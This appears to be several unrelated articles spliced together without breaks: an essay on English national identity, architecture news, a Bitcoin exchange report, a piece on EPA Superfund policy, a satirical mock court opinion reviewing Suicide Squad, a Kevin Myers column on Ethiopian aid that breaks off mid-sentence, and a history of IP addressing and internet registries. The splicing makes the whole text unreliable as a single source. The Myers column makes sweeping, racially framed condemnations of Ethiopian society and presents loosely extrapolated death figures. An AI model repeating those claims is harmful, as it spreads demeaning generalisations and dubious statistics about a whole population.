In keeping with the contemporary trend for deconstructing all things English, the Anglo-Saxons have been out of fashion in recent decades, but Engla Lond, or Angland, is the foundation stone on which contemporary England is built. Today, a millennium away from the world of the Anglo-Saxons, we still speak a language derived mostly from the Old English they spoke, and many features of contemporary England, from the monarchy, the church and the county boundaries right down to field patterns, place names and routes of major roads, have their origins in the age of Bede and Beowulf.
Today, when English history is taught in schools, it often starts in 1066, the only date from school history lessons that most of us can reliably remember. Yet the conquest of England in that year by Viking descendants from Normandy, under the leadership of the brutal Guillaume le Bâtard – William the Bastard, who unsurprisingly preferred to be known as William the Conqueror – resulted in mass dispossession, forced marriage, wide-scale land theft, military rule and the slaughter of those who resisted. Within a few short years, the English elite had been almost entirely replaced by cronies of the new Norman king, and England found itself ruled by a foreign aristocracy who often evinced contempt for Anglo-Saxon culture. It would be another 300 years before the kings of England again spoke English as their first language.
Sometimes I think identity is the root of all evil, but I think we would be lost without it
In other words, the date at which English history is often said to begin is actually the date at which England was colonised. The history of England, seen through the eyes of the ordinary English woman or man, is often a history of dispossession. A case could be made, in fact, that the English were the first victims of the British empire: without their conquest, that empire could not have been built. The country that invented capitalism and the first modern empire did so on the backs of most of its population. A nation is a story, but there are many different ways to tell it.
If you want to hear that population speak, you only have to listen to an English folk song. Listen to enough of them, and you begin to realise how many are laments. Laments for sons or lovers taken away by the press-gang or forced to take the King’s shilling. The laments of women waiting seven years for their lovers to return from the sea. The laments of the landless poor. The laments of those hanged or transported for stealing a sheep or a loaf of bread. The laments of those forced into the factories, working for a pittance with no chance of escape. The laments of the bridge builders and the sappers and the miners.
England’s tragedy was that its identity became so closely entwined with the commercial and imperial adventures of its elite that it became hard to tell them apart. The smallness of England was replaced with the bombast of Britain, and when Britain’s empire collapsed, so did England’s sense of itself. Now, as the nation is bought up by a global plutocracy and sold back to its people, questions offer themselves up: can we remember that other history? Does it still matter? In an age in which imperial adventures have been rebranded as “global competition”, can England make itself small again?
***
Britain’s forthcoming general election will be a curious affair. It will be fought between three big political parties, all of whom will be loudly committed to the United Kingdom but whose political writ, should they win, will run mainly in England alone. The insurgent populist party, which even has “UK” in its name, will bang the drum for the union with equal bombast, while focusing on an issue – immigration – that mainly affects England. One potential outcome of the election is a coalition made up of a Labour party that barely acknowledges England’s existence and a Scottish National party that can’t be held accountable by any English voters. Despite all this, the future of England as a nation is unlikely to be mentioned at all on the campaign trail.
At times like these, a nation needs its radicals. Unfortunately, the English left is uncomfortable with the idea of nations in general and the English nation in particular. For a long time now, it has been common in leftish circles to argue that nations are dangerous things, that connection to place and history foreshadows the twin bogeymen of fascism and racism, and that the future lies with a kind of internationalist humanitarianism, in which such “parochial” concerns are left behind. The failure of this bloodlessly intellectual vision to capture the human imagination for more than a century has still not killed it off.
Facebook Twitter Pinterest Ponies on Dartmoor, Devon. Photograph: Alamy
The English left famously exhibits a strange national self‑loathing that doesn’t seem mirrored in any comparable European country. Radicals in France, Spain or Greece seem to have no problem couching their challenges to existing authority in language that grasps the meaning of nationhood, and even exhibits pride in it. But in England it is standard for people who consider themselves in some way “anti-establishment” to sneer at their national identity. This is not a new phenomenon. “England is perhaps the only great country whose intellectuals are ashamed of their own nationality,” wrote George Orwell in his 1941 pamphlet “The Lion and the Unicorn”. “In leftwing circles it is always felt that there is something slightly disgraceful in being an Englishman and that it is a duty to snigger at every English institution, from horse racing to suet puddings.”
Whatever the origins of this pathology, the English left should understand that if you’re going to take a people’s story away from them, you need a better one to replace it with. Attacking that story as the “parochial” offerings of a “Little Englander” is not going to help your cause. Quite the opposite: this tendency to dismiss or condemn feelings of attachment to place, nation and identity simply means that those things become associated instead with the political right, and when people feel those things are threatened, it will be the right they turn to. This goes a long way to explaining the rise of Ukip. The left’s response to that rise – to mock its supporters or call them fascists, or both – shows that at least some of Orwell’s England is still with us.
If nations are stories, England has a good one to tell: a long and riveting one, with a balance of darkness and light
Sometimes, the best way of telling new stories is to reclaim old words. The word “parochial” might be a good place to start. “All great civilisations are built on parochialism,” wrote the Irish poet Patrick Kavanagh in 1952. “Parochialism is universal; it deals with the fundamentals.” Parochialism is universal: it sounds like a contradiction, but only if you don’t fully grasp its meaning. “Parochial” literally means “of the parish”. It denotes the small and the particular and the specific. It means knowing where you are. It can also mean insular and narrow-minded, but it doesn’t have to, any more than “cosmopolitan” has to mean snobbish and rootless.
This negative meaning has attached itself to the word because contemporary globalised culture is resolutely anti-parochial. It sets out to destroy local particularity and our attachment to it, because if we remain attached to it we may not buy into the placeless nowhere civilisation that is being built around the globe in the name of money. At its best, a radical parochialism may be the most effective means of resisting this global machine. As Kavanagh implied, without a parochial culture, there can be no culture at all.
***
The same is true of the phrase “Little Englander”, originally a 19th-century term of abuse directed at those who resisted the expansion of empire. A “Little Englander” was someone who wanted England’s influence to stop at its own borders, rather than the nation throwing its weight around in the world. In that sense, a little England sounds pretty good to me. An England that pays attention to its places rather than wiping them out in the name of growth; an England that doesn’t have imperial designs; an England that doesn’t want to follow America into idiotic wars for the sake of prestige. An England that stops trying to “punch above its weight”, and instead asks why it is punching at all.
If nations are stories, England has a good one to tell: a long and fascinating one, with a balance of darkness and light. It is a story that everyone becomes part of simply by being in England. The Scottish independence campaign last year did a good job of building a civic Scottish identity that people could feel part of whether or not they were ethnically Scottish. In England, which is far more ethnically diverse, it may appear harder to do this, yet the way to do it seems straightforward: just tell the story of England. Tell it from the beginning to the present day, and you will find that everyone in the country has been included in it, wherever they came from and whatever their background.
Is it possible to be a nation without the worst of nationalism? To be comfortable with your identity and history without withdrawing into them? To welcome outsiders without forgetting what you are welcoming them to? Englishness, whatever it means, is ever-changing: England today would be largely unrecognisable to someone from 1066, or even 1866. A nation is a process not a fixed thing, but it has continuities nonetheless. It may be a story, but it is not fiction.
Paul Kingsnorth’s The Wake: a novel approach to Old English Read more
When I think about these questions, I always find myself coming back to the place itself: the woods, the fields, the streets, the towns, the beaches. We live in an age of climate change and mass extinction, burgeoning cities, deepening immersion in technologies of distraction, the spreading ideology of mass consumption. The antidote to this global distancing of humanity from the rest of nature is the slow, messy business of getting to know a landscape. If a nation is a relationship between people and place, then a cultural identity that comes from a careful relationship with that place might be a new story worth telling.
Is there a future, I wonder, in a kind of ecological Englishness – an identity that sees everyone in England as part of its landscapes and thus its history, and that has us all paying closer attention to them: nurturing them instead of concreting them over in the name of the future, or driving past on the way to somewhere else? Could this help build an identity to compete with, and perhaps replace, both the tired pomp of establishment Britain and the deconstructed coldness of the internationalist left? Could that old, smaller England come out from behind the shadow of Britain once more?
It’s probably another romantic dream. But nations, like people, need to dream sometimes.
• Paul Kingsnorth’s novel The Wake is published by Unbound.Thanks to a percolating economy and the technological revolution that swept through architecture while most of these designers were building their practices, many of them are producing work at speeds and scales that were not possible even a decade ago. Today, a five-person office like the Oyler Wu Collaborative in Los Angeles, founded in 2004, can produce a residential high-rise in a faraway place — even one with the complex, syncopated screens that encase their recently completed Monarch residential tower in Taipei. “The building code there encourages standardization,” said Jenny Wu, 42. Her husband, Dwayne Oyler, 45, added, “We wanted to show that even in a constrained environment, you can still be creative.”
Image Architects SHoP ‘ American Copper Buildings in Manhattan, joined by a bridge that contains a swimming pool. Credit SHoP Architects
Two firms of this generation stand out for the scale and ambition of their enterprises. In New York City, SHoP Architects (whose founding partners range in age from 50 to 54) is now 200 strong, with 19 projects under construction around the world, and a dozen more in design. Two will open this fall in Manhattan. The first, in October, is Pier 17 at the South Street Seaport, reimagined as a 300,000-square-foot retail and entertainment complex. Upstream are the 48- and 43-story American Copper Buildings, sibling apartment towers that look as if they were being pulled toward each other by a 100-foot bridge at their waists (inside of which is what must be the coolest swimming pool in the city). Over time, the copper exteriors will oxidize to a Statue of Liberty green — a slow-motion art project provided by the architects, and by nature.As Chinese exchanges will begin to charge service fees for transactions on their platforms starting
Tuesday January 24, they seem to have devised a way to split Bitcoin into a more usable form associating its divisibility with the parity it has with fiat money.
The move to charge both market makers and takers on OKCoin, Huobi and BTCC platforms a flat fee of 0.2 percent per transaction to ensure a fee-based trading is to curb market manipulation and extreme volatility as recent moves by the PBoC had suggested.
It will eventually give a better insight into the actual volume of global Bitcoin trading that is conducted in China. Going by the words of BTCC CEO, Bobby Lee, the introduction of the service fees will also pave the way to make smaller units of Bitcoin – either bits or mBTC – as an alternate unit of measurement for the digital currency.
According to Lee, Chinese exchanges are considering moving to a trading plan using mBTC (millibits) instead of the usual full unit of Bitcoin since it is becoming seemingly certain that some people think it is bad for the currency’s price to rise too fast as we’ve seen earlier this year.
Adopting smaller units of Bitcoin will help address this perception, Bobby says in one of his tweets.
“Certain ppl (people) think it’s bad when #Bitcoin prices rises too fast. To help w/ (with) perception, #Chinese exchanges may move to trading in #mBTC. Yes?
If it gets the needed wider support, the new trading plan may be used as a means to improve Bitcoin adoption as it will target mostly those who are interested in owning it but find it extremely expensive to acquire or think that it cannot be divided. It will make Bitcoin look more affordable for the average person and new users will understand that one does not have to buy a Bitcoin in full to own it.
In another tweet, Lee says that the idea of the Bitcoin split is to make its price increasing from ¥6,000 to ¥8,000 not to look so huge but to make a move from ¥6 to ¥8 be quite more acceptable.
He states: “The plan (#mBTC units) has been discussed amongst local #Chinese exchanges, & we believe it will appease the regulators, w/ “lower” prices,” adding that changing the trading unit to mBTC will not affect users’ holdings as “each Bitcoin will get a 1,000-for-1 split, and become 1,000 mBTC.”
A key argument that is surrounding the new suggestion thus far is whether to go to bits directly or stick to mBTC. While some think bits is much simpler as it is already being used by exchanges such as Coinbase to display amounts, others think mBTC as being proposed by BTCC would seem easily understandable to calculate a full Bitcoin into four digits. In the end, the majority will decide on which to stick to on the idea which seems to have gained some level of acceptance in the community.
According to btcsatoshi.com which is powered by Coindesk, 100 Satoshi (0.00000100 ฿) makes 1 Bit (or μBTC) while 100,000 Satoshi (0.00100000 ฿) makes 1 mBTC. 1,000,000 Satoshi (0.01000000 ฿) is 1 cBTC (or bitcent) and 100,000,000 Satoshi makes 1.00000000 ฿ (BTC).
If implemented, Chinese exchanges will be the first to launch the trading plan and others in various parts of the world may follow suite if the move pans out well.
According to findings, a similar issue has earlier been raised in 2014 and no consensus was reached until it was laid to rest. However, this time, the fact that the move was initiated by Chinese exchanges – considering the level of influence they wield in the Bitcoin market – and that they are working together to set a new standard may make a difference. Bitcoin is at a crucial point and interest in its use is growing by the day.
It is also worth noting that the number of Bitcoin users have increased in the last three years, its use has gain traction and more people have gotten used to all the denominations being mentioned today.
Arguments against the use of Bits hang on its being confusing particularly as it is an existing computer science term (bit as the smallest unit of storage) and the fact that it can mean so many things depending on the context it is used. Also, its longer decimal places is being suggested could be too hard for most people to grapple with.The Superfund program is already underfunded. It has been ever since 2003, years after Congress let expire the so-called “Superfund tax” on oil and gas companies, which was able to raise billions for cleanup per year. But now, the Superfund program only operates on about $1 billion per year in federal dollars. “Losing even that minimal amount of funding will essentially bring the program to a halt,” Loeb said.
But even in the best-case budget scenario, where the 25 percent cut to Superfund is not realized, Loeb and others worry about Pruitt’s plan for the sites. That’s because Pruitt, who has a history of close and friendly ties to polluting industries, has said he will prioritize Superfunds by handling negotiations with polluters himself. According to the EPA’s press release, his directive this month puts “the decision of how to clean up the sites directly into the hands of the Administrator,” rather than other members of the bureaucracy.
That directive is “quite disheartening,” said Peter deFur, an environmental consultant and Superfund cleanup expert. Both deFur and Loeb expressed concern that Pruitt would be more lenient when negotiating cleanup deals with polluters, allowing them to pay less for plans that are less comprehensive. “There is grave concern in the environmental community, myself included, that what Pruitt will do is get faster but much less rigorous cleanup,” Loeb said. DeFur agreed. “I’m not sure that Pruitt’s idea of improving the program and mine would agree at all,” he said. “To me, improving the program means more aggressive cleanups that move contamination to lower levels, and more aggressive pursuit of potentially responsible parties. What does Pruitt mean by improve?”
EPA’s spokespeople did not respond to my request for clarification on that point, but late afternoon on Monday the agency issued a press release announcing a new “Superfund Task Force,” which it said was part of Pruitt’s “continued effort to prioritize Superfund cleanups.” That task force is expected to provide recommendations in 30 days on how the EPA can “streamline” the Superfund program—perhaps a coded way to insist it can operate more efficiently on less money. It’s not clear yet how Pruitt’s EPA would do that—apparently we’ll find out in a month—but the press release gave some vague indications, including “incentivizing parties to remediate sites” and “encouraging private investment in cleanups and sites.”
The polluting companies themselves have reason to believe Pruitt will be more lenient. Last week, the New York Times reported that the oil and gas company Devon Energy, which donated thousands to Pruitt when he was Oklahoma’s attorney general, recently stepped away from an environmental settlement it had planned to sign with the Obama administration. According to the Times, the company “had been prepared to install a sophisticated system to detect and reduce leaks of dangerous gases” for one of its gas plants, and “had also discussed paying a six-figure penalty to settle claims by the Obama administration that it was illegally emitting 80 tons each year of hazardous chemicals, like benzene, a known carcinogen.” After Pruitt took office, though, Devon said it was “re-evaluating its settlement posture,” and would no longer install emissions controls or pay a large fine. Devon Energy has also strongly opposed the effort to renew the Superfund tax on energy companies.BREYER, J. delivered the review of the court in which ROBERTS, C.J., and GINSBERG, KENNEDY, ALITO, SOTOMAYOR, and KAGAN, JJ., joined. THOMAS, J. filed a dissenting opinion. ZOMBIE SCALIA, J. filed a dissenting opinion[1].
Justice Breyer delivered the review of the court.
Suicide Squad allows this court to revisit the age-old question that continually haunts this court: does a really shittily-presented film containing somewhat interesting themes warrant a positive review? We hold that it does not.
I
The basic facts of Suicide Squad are not in dispute[2]. In the wake of Batman v. Superman, a top secret government program led by Amanda Waller assembles a group of supervillains to combat further metahuman threats. The team, aptly called the “Suicide Squad,” consists of dad-friendly hitman Deadshot; sociopath-but-loves-him-anyway Harley Quinn; clean and to the point Col. Flagg; oppressed for the color of his skin and proclivity for eating people Killer Cros; boomerang-wielding Capt. Boomerang; and smart-mouthed former gang member El Diablo. After a sorceress-goddess and her brother-god torch Middle City, the Suicide Squad is deployed to rescue a V.I.P. who is later revealed to be Waller herself. In the course of rescuing Waller, the Squad realizes how they are expendable cogs in the service of a greater fight; namely, that of an oppressive, domineering government bent on controlling the masses and ancient godlike-entities similarly trying to corral and control human thoughts and freedoms. The penultimate fight between control by machine by the government and control by machine by the ancient gods ends in the latter’s downfall, thus re-instantiating American imperialism at the expense of non-white deities. While neither system of power is portrayed positively, it is clear that both represent a means of control which ought to be resisted. This, however, clearly is at odds with an earlier scene in which the sorceress unveils the Squad’s deepest fantasies, a scene which presents sociopathy as a mere means toward achieving decidedly bourgeois goals, desires, and hopes.
We went and saw the movie on a Friday night with the President and Margot Robbie in attendance. We decided to hold off our review until out of the presence of Ms. Robbie and the President, both of whom enjoyed the movie thoroughly.
II
“It is emphatically the duty and province of the judicial branch to say what shit is dope and what shit is whack.” In re Frankenstein, 1 Cranch 14 (1818) (Opinion of Marshall, J. dissenting). Regarding action movies, this court has identified five factors to guide our recommendations: (1) the degree of awesomeness; (2) the editing; (3) the script; (4) the special effects; and (5) the “Arnold factor”. In re The Matrix, 901 Action 540 (1999); In re Goldfinger, 451 Action 4, (1962); In re A Nicholas Cage Film We Forgot the Name Of, 809 Action 76 (2012); In re Total Recall, 876 Action 55 (1990). When reviewing action movies, we do not consider the actors’ performances. See In re Ride ‘Em Cowboy, 125 Western 317 (1940) (“One need not act to produce top notch action.”) (Opinion of Jackson, J., concurring).
It is not disputed that the dialog in Suicide Squad is absolute garbage. After knowing his fellow Squad members for approximately three hours, El Diablo blurts out, “I’m not losing another family!” Nobody in the theater except for Barack laughed once during the movie, and the run time was at least two hours. To be honest, I fell asleep, but I had also consumed around four beers. We have previously held that alcohol during a movie does not affect our standard of review. See In re Toxic Avenger, 671 Action 831 (1984). “Some movies … you just gotta be fucked up for.” Opinion of Rehnquist, J., concurring.
It is not disputed that the movie was probably edited by a thirteen year old chimpanzee. Somehow, scenes simultaneously manage to feel both far too long and far too short. Imagine sitting down to a five-course meal where the waiter grabs away your appetizer and replaces it with a dessert ten times throughout the meal. Now also imagine that during the meal the restaurant blares “House of the Rising Sun” over the loudspeakers. That, in the opinion of this court, is Suicide Squad.
It is also not disputed that the special effects are “not on par with a reasonably constituted action movie of the same or similar era.” In re The Last Airbender, 780 Action 215 (2010). During the penultimate battle between the Squad and Sorceress, the latter looks almost drunk as she sways from side to side to a tune perhaps only she can hear. The image looks more fake than Jared Leto’s performance as the Joker and just as irritatingly overdone.
Lastly, it is not disputed that Arnold does not appear in Suicide Squad. Thus, none of the factors this court uses to recommend an action movie apply to Suicide Squad. This does not, however, end our analysis.
III
Regarding superhero movies, this court has identified additional factors for review: (1) the costumes; (2) the number of times a character manifests a “power” or a motivation relating to the “greater good”; (3) the degree to which the colors cause a reasonably constituted person to say, “Wow!”; (4) the nostalgia factor; and (5) other compelling reasons.
Factors (1) and (3) weigh in favor of recommending Suicide Squad. Both Deadshot and Killer Croc had rocking cool costumes. When Deadshot shot a bunch of evil zombie things with Glocks tied to his wrists, we noted an audible ‘wow’ rippled through the crowd. Although we did not agree with the costume choices for Harley Quinn and the Joker, we note that these costume choices received “aplomb” by critics and others in the media.
None of the other factors weigh in favor of recommending Suicide Squad. The character’s motivations relating to the greater good are “trite” and “not grounded in the reality with which they have hitherto been presented.” See In re Daredevil, 44 Superhero 81 (2003).
Additionally, although we note that Suicide Squad contains some interesting themes relating to the nature of power and control in a modern society, these themes do not overcome “the manner in which they are presented” because “[p]resentation of themes is as, if not more, important that the themes themselves.” Id. at 83.
Accordingly, this court does not recommend that you, your date, or your friend ever watch Suicide Squad. Instead, considering taking your “squad” to watch a Supreme Court oral argument. And dress up! Fans who dress up get a 50% off coupon to Five Guys Burgers and Fries on Tuesdays and Thursdays.
It is so reviewed.
Justice Thomas filed a dissenting opinion.
As I previously stated in In re Fern Gully, 132 Animation 420 (1992), I do not believe that the Constitution affords this branch the power to review films or issue any opinions about the merits of art in general. Rather, that power belongs exclusively to the people. In re Austin Powers, 121 Spy 542 (1997). The people are the “sole source … that sacred fount from which we can safely enumerate how much Ben Hur sucks....” In re Beauty and the Beast, 113 Animation 171 (1991) (Scalia, J., dissenting). With no binding authority, however, I will say that I quite enjoyed Suicide Squad, especially when El Diablo turned into a fire demon. That was kickin’ rad.
For the foregoing reasons, I respectfully dissent.
Zombie Justice Scalia filed a dissenting opinion.
If to decide Suicide Squad is not to describe it, then I am not a brain devouring zombie. Today, the majority brazenly holds that no one in the Free World who may be interested in zombies, or zombie motivations, or the completely and utterly unique treatment of zombies in Suicide Squad should see a movie in which zombies are heavily featured.
Look at how quickly the court dismisses the fact that this movie heavily features zombies. Indeed, Suicide Squad features a veritable army of zombies on a scale not seen since the sixth season of The Walking Dead. In In re Walking Dead, Season 6, 1003 Horror 31 (2015), a great justice wrote: “only by understanding the zombies can we truly understand ourselves.” (Opinion of Scalia, J.).
Contrary to the majority’s insipid characterization of Suicide Squad as a movie about “governments” and “gods” and “control,” the focus on Suicide Squad is really the struggle of man against zombie. While we do not know what category of zombies we are dealing with, we can safely say that they are zombies. If it’s true that it is “the province and duty of the judicial branch to say what shit is dope and what shit is whack” then the majority today is just plain wrong.
What will the majority tell their zombie-movie loving friends when they see them on the street? Will they mention the zombies? Will they speak with fondness at all the zombie stomping wonders that so entranced them at the theater? No. The majority will only prattle on about the tension between form and content while the rest of us will continue to love what we love because we love it.
For these reasons, I strongly dissent, and will continue to recommend Suicide Squad to all my zombie friends.
[1] Please see applicable rules about citing a zombie decision. In particular, See In re Chorl! CHORL!?, 125 Walking Dead 550 (2012); Romero v. Boyle, 415 Zomb. 28 (2005).
[2] To the extent Justice Alito characterizes Suicide Squad as a “film which defies classification,” this court has previously rejected anti-classificatory formalism as “empty dribble.” See In re Bridge on the River Kwai, 178 World War II 918 (1962). See also R. Clinton, “If I can’t Hear You, That Means Spielberg Can’t Hear You,” ASU Law Review, 2001.
AdvertisementsKevin Myers: Harsh as they were, my views on Africa had to be expressed BelfastTelegraph.co.uk Last Friday week, with famine approaching yet again, I wondered about the wisdom of forking out yet more aid to Ethiopia. https://www.belfasttelegraph.co.uk/opinion/columnists/kevin-myers-harsh-as-they-were-my-views-on-africa-had-to-be-expressed-28440573.html
Email
Last Friday week, with famine approaching yet again, I wondered about the wisdom of forking out yet more aid to Ethiopia.
Since the great famine of the mid-1980s, Ethiopia's population has soared from 33.5 million to 78 million. Now, I do not write civil service reports for the United Nations: I write a newspaper column, and I was deliberately strong in my use of language — as indeed I had been when writing reports from Ethiopia at the height of that terrible famine.
Since dear old Ireland can often enough resemble Lynch Mob Central on PC issues, I braced myself for the worst: and sure enough, in poured the emails. Three hundred on the first day, soon reaching over 800: but, amazingly, 90%+ were in my support, and mostly from baffled, decent and worried people. The minority who attacked me were risibly predictable, expressing themselves with a vindictive and uninquiring moral superiority. (Why do so many of those who purport to love mankind actually hate people so?)
We did more in Ethiopia a quarter of a century ago than just rescue children from terrible death through starvation: we also saved an evil, misogynistic and dysfunctional social system. Presuming that half the existing population (say, 17 million) of the mid-1980s is now dead through non-famine causes, the total added population from that time is some 60 million, around half of them female.
That is, Ethiopia has effectively gained the entire population of the United Kingdom since the famine. But at least 80% of Ethiopian girls are circumcised, meaning that no less than 24 million girls suffered this fate, usually without anaesthetics or antiseptic. The UN estimates that 12% of girls die through septicaemia, spinal convulsions, trauma and blood-loss after circumcision which probably means that around three million little Ethiopian girls have been butchered since the famine — roughly the same as the number of Jewish women who died in the Holocaust.
So what is the moral justification for saving a baby from death through hunger, in order to give her an even more agonising, almost sacrificial, death aged eight or 13? The practice could have been stamped out, with sufficient political will, as sutti in India once was. And the feminists of the West would never have allowed such unconditional aid to be given to such a wicked and brutal society if it had been run by white men.
But, instead, the state was run by black males, for whom a special race-and-gender dispensation apparently applies: thus the two most politically incorrect sins of our age — sexism and racism — by some mysterious moral process, akin to the mathematics of the double-negative, annul one another, and produce an unquestioned |
appropriate for the next network to carry them.
To achieve this task with full transparency, the IP needed an addressing structure, which developed as a two-level hierarchy in both addressing and routing. One part of the address, the
network
part, identifies the particular network a host is connected to, while the other part, the local part, identifies the particular end system on that network.
Internet routing, then, has to deal only with the network part of the address, routing the packet to a router directly connected to the destination network. The local part is not used at all in Internet routing itself; rather it is used to determine the intended address within the addressing structure of the destination network.
The method by which the
local
part of an IP address is translated to a local network address depends on the architecture of the destination network—static tables, simple conversions, or special-purpose protocols are used as appropriate.
The original Internet addresses comprised 32 bits, the first 8 bits providing the network part and the remaining 24 bits the local part. These addresses were used for many years. However, in June 1978, in Internet Engineering Note (IEN) 46 "A proposal for addressing and routing in the internet," Clark and Cohen observed:
"The current internet header has space to name 256 networks. The assumption, at least for the time being, is that any network entering the internet will be assigned one of these numbers. While it is not likely that a great number of large nets, such as the ARPANET, will join the internet, the trend toward local area networking suggests that a very large number of small networks can be expected in the internet in the not too distant future. We should thus begin to prepare for the day when there are more than 256 networks participating in the internet."
Classful Addressing
As predicted, it soon became necessary to adapt the address architecture to allow more networks to be connected. By the time the Internet Protocol itself was comprehensively specified (in RFC 790, published in 1981, edited by Jon Postel), the IP address could be segmented in numerous ways to provide three classes of network address.
In Class A, the high-order bit is zero, the next 7 bits are the network, and the last 24 bits are the local address. In Class B, the high-order 2 bits are one-zero, the next 14 bits are the network, and the last 16 bits are the local address. In Class C, the high-order 3 bits are one-one-zero, the next 21 bits are the network, and the last 8 bits are the local address.
This so-called "classful" architecture served the Internet for the next 12 years, during which time it grew from a small U.S.-based research network to a global academic network showing the first signs of commercial development.
Early Registration Models
In the 1980s, the American
National Science Foundation's
(NSF's) high-speed network, NSFNET, was connected to the ARPANET, a U.S.
Defense Advanced Research Projects Agency
(ARPA, now DARPA) wide-area network, which essentially formed the infrastructure that we now know as the Internet.
From these early days of the Internet, the task of assigning addresses was a necessary administrative duty, to ensure simply that no two networks would attempt to use the same network address in the Internet.
At first, the elementary task of maintaining a list of assigned network addresses was carried out voluntarily by Jon Postel, using (according to legend) a paper notebook.
As the Internet grew, and particularly as classful addressing was established, the administrative task grew accordingly. The IANA was established, and within it the Internet Registry (IR). But as the task of the IR outgrew Postel's notebook, it was passed to SRI International in Menlo Park, California, under a NSF contract, and was called the
Defense Data Network
(DDN)
Network Information Center
(NIC).
During this time, under the classful address architecture, networks were allocated liberally and to any organization that fulfilled the simple request requirements. However, with the accelerating growth of the Internet during the late 1980s, two problems loomed: the rapid depletion of address space, due to the crude classful divisions; and the uncontrolled growth of the Internet routing table, due to unaggregated routing information.
Conservation vs. Aggregation
The problems of "three sizes fit all" highlight the basic dilemma of address space assignment: conservation versus aggregation. On the one hand, one wants to conserve the address space by assigning as little as possible; on the other hand, one wants to ease routing-table pressures by aggregating as many addresses as possible in one routing-table entry.
This can be illustrated by looking at a typical networking setup of the time. Within organizations having a single Internet connection, buildings, departments, or campuses would have their own local networks. Often the use of multiple networks was dictated by distance limitations inherent in the emerging local-area networking technologies, such as Ethernet.
These networks typically had to accommodate more than the 254 hosts addressable by a Class C address, but would rarely exceed 1000 hosts. Using pure classful addressing, one could either subdivide networks artificially to remain below the 254 host limit, or use a Class B address for each local network, possibly wasting more than 60,000 addresses in each. Whereas the latter solution is obviously wasteful in terms of address space, the former is obviously cumbersome. Less obviously, the former also puts an additional burden on the Internet routing system, because each of these networks would require a separate route propagated throughout the whole Internet.
This basic dilemma persists to this day. Assigning address space generously tends to reduce the routing-table size, but wastes address space. Assigning conservatively will waste less, but cause more stress for the routing system.
Subnetting
In order to address some of the problems of classful addressing, the technique of
subnetting
was invented. Described in RFC 791 in 1984, subnetting provided another level of addressing hierarchy by inserting a subnet part into the IP address between the network and local parts. Global routing remained the same using the
network
part of the address (Class A, B, or C) until traffic reached a router on the network identified by the network part of the address. This router, configured for subnetting, would interpret a statically configured number of bits from the local part of the address (the subnet part) to route the packet further among a set of similarly configured routers. When the packet reached a router connected to the destination subnet, the remaining bits of the local part would be used to determine the local address of the destination as usual. So, in the previous example, the organization could have used a Class B address with 6-bit subnetting, a setup that would allow for 62 networks of 1022 hosts each.
Subnetting nicely solved the routing-table problem, because now only one global routing-table entry was needed for the organization. It also helped address space conservation somewhat because it provided an obvious alternative to using many sparsely populated Class B networks.
Because the boundary between the subnet part and the local part of an address could not be determined from the address itself, this local knowledge needed to be configured into the routers. At first this was done by static configuration. Later, interior routing protocols carried that information. Refer to RFC 791 for numerous historically interesting case studies.
Supernetting
Within seven years, however, it was becoming clear that subnetting was no longer sufficient to keep up with Internet growth. RFC 1338 stated the problem:
"As the Internet has evolved and grown... in recent years, it has become painfully evident that it is soon to face several serious scaling problems. These include:
Exhaustion of the Class-B network address space. One fundamental cause of this problem is the lack of a network class of a size that is appropriate for a midsized organization; Class C, with a maximum of 254 host addresses, is too small while Class B, which allows up to 65534 addresses, is too large to be widely allocated. Growth of routing tables in Internet routers beyond the ability of current software (and people) to effectively manage. Eventual exhaustion of the 32-bit IP address space.
It has become clear that the first two of these problems are likely to become critical within the next one to three years."
The solution proposed was to extend the subnetting technique beyond the local organization, into the Internet itself. In other words, RFC 1338 proposed abolishing classful addressing, and replacing it with
supernetting
. The proposal was summarized as follows:
"The proposed solution is to hierarchically allocate future IP address assignment, by delegating control of segments of the IP address space to the various network service providers."
CIDR
In 1993, the supernetting technique was published as a standards track RFC under the name
Classless Inter-Domain Routing
(CIDR), by which it is known and used today. Two main ingredients were necessary to make CIDR work: routing system changes and new address allocation and assignment procedures.
Under CIDR, routers could no longer determine the network part of an address from the address itself. This information now needed to be conveyed by Internet routing protocols. Fortunately, there was only one such protocol in widespread use at the time, and it was quickly extended by the major router vendor of the time. According to legend, the necessary extensions of the
Border Gateway Protocol
(BGP)-3 to BGP-4 were designed on a napkin, with all implementors of significant routing software present. The changes were implemented in a matter of days, but only much later described by the Internet standards track RFC 1654.
CIDR also required that forwarding decisions of routers be changed slightly. The network part of an address, now more generally called the
prefix
, can be of any length. This means that a router can have multiple valid routes covering a specific 32-bit destination address. Routers need to use the most specific of these routes—
the longest prefix
—when forwarding packets.
In additional to technical changes, the success of CIDR also relied on the development of administrative procedures to allocate and assign address space in such a way that routes could be aggregated as much as possible. Because the Internet was evolving toward the current state of arbitrarily interconnected networks of
Internet Service Providers
(ISPs), it was obvious that ISPs should play a role in address space distribution. In the new technique, ISPs would now, as much as possible, assign address space to their customers in contiguous blocks, which could be aggregated into single routes to the rest of the Internet.
Emergence of the RIRs:
Internationalization
While the engineering-driven need for topological address space assignment was becoming clear, there was also an emerging recognition that the administrative mechanisms of address space distribution needed further development. A central system just would not scale for numerous reasons, including:
Sheer volume
Distance from the address space consumers
Lack of an appropriate global funding structure
Lack of local community support
The need to change administrative procedures was formally recognized by August 1990, when the Internet Activities Board published a message it had sent to the U.S. Federal Networking Council, stating "it is timely to consider further delegation of assignment and registration authority on an international basis" (RFC 1174).
The increasing cultural diversity of the Internet also posed administrative challenges for the central IR. In October 1992, the
Internet Engineering Task Force
(IETF) published RFC 1366, which described the "growth of the Internet and its increasing globalization" and set out the basis for an evolution of the registry process, based on a regionally distributed registry model. This document stressed the need for a single registry to exist in each geographical region of the world (which would be of "continental dimensions"). Registries would be "unbiased and widely recognized by network providers and subscribers" within their region. Each registry would be charged with allocating remaining address space in a manner "compatible with potential address aggregation techniques" (or CIDR).
RIPE NCC
While in the United States the Government continued to support and fund registry functions, this was not the case in other parts of the world. In Europe, IP network operators cooperating in
Réseaux IP Européens
(RIPE) realized the need for professional coordination and registration functions. Establishment of the RIPE
Network Coordination Centre
(NCC) was proposed in the same month that RFC 1174 was published. The RIPE NCC was to "function as a 'Delegated Registry' for IP numbers in Europe, as anticipated and defined in RFC 1174" (RIPE-19).
Although consensus among IP network operators was quickly established, it took almost two years of organizing and fund-raising before the first RIR was fully operational in May 1992. The RIPE NCC was organized as a highly independent part of RARE, the organization of European research networks. It was to be funded by contributions from those networks, as well as a small number of emerging commercial networks. The RIPE NCC published its first regional address distribution policy in July 1992 (RIPE-65).
During the following months, European regional policies were refined and, for the first time, global guidelines were published as RFCs (RFC 1366, RFC 1466).
